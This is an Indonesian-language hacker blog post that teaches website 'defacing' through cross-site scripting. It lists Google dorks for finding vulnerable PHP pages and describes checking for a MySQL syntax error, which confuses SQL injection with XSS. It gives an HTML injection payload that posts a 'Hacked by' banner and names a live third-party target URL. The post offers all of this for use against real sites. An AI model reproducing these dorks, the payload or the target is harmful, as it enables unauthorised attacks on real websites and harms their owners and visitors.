Deface Poc XSS

 Deface poc XSS

▇▇▇◤▔▔▔▔▔▔▔◥▇▇▇ ▇▇▇▏◥▇◣┊◢▇◤▕▇▇▇ ▇▇▇▏▃▆▅▎▅▆▃▕▇▇▇ ▇▇▇▏╱▔▕▎▔▔╲▕▇▇▇ ▇▇▇◣◣▃▅▎▅▃◢◢▇▇▇ ▇▇▇▇◣◥▅▅▅◤◢▇▇▇▇ ▇▇▇▇▇◣╲▇╱◢▇▇▇▇▇ ▇▇▇▇▇▇◣▇◢▇▇▇▇▇▇

Assalamu'alaikum sobat ....:(

Oke w membagikan cara deface metode xss (cross site scripting).

Apa itu xss?

xss merupakan salah satu jenis serangan injeksi code (code injection attack). xss dilakukan oleh para penyerang dengan cara memasukan kode HTML atau client script code lainya ke suatu situs. Paham su?? kalo ga paham yaa ulang lagi bacanya;v

Oke mungkin segitu aja pengertianya gausah banyak bacot ya gw capek ngetiknya;v

Bahan - bahan :

1. Kuota Internet/wifi tetangga;v

2. hp/pc

3. Kopi + rokok 

4. Dork

   inurl:"/showcatrows.php?CategoryID="

   inurl:news.php?id=

   (Kembangin lagi pake imajinasi hentai kalian;v)

langkah-langkah:

1. Dorking dulu di engine mesin/google

2. Pilih salah satu yang vuln, gw udh nemu webnya

3. tambahkan ' kalo SQL syntax atau seperti dibawah ini tandanya vuln

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''2''' at line 1

4. tinggal tambahin deh code HTML

"><marquee><h1>Hacked%20by%20SouthernGans</h1></marquee>

Live Target= http://scriptreseller.com/showcatrows.php?

CategoryID=2

Oke Sekian Dulu Ya Sobat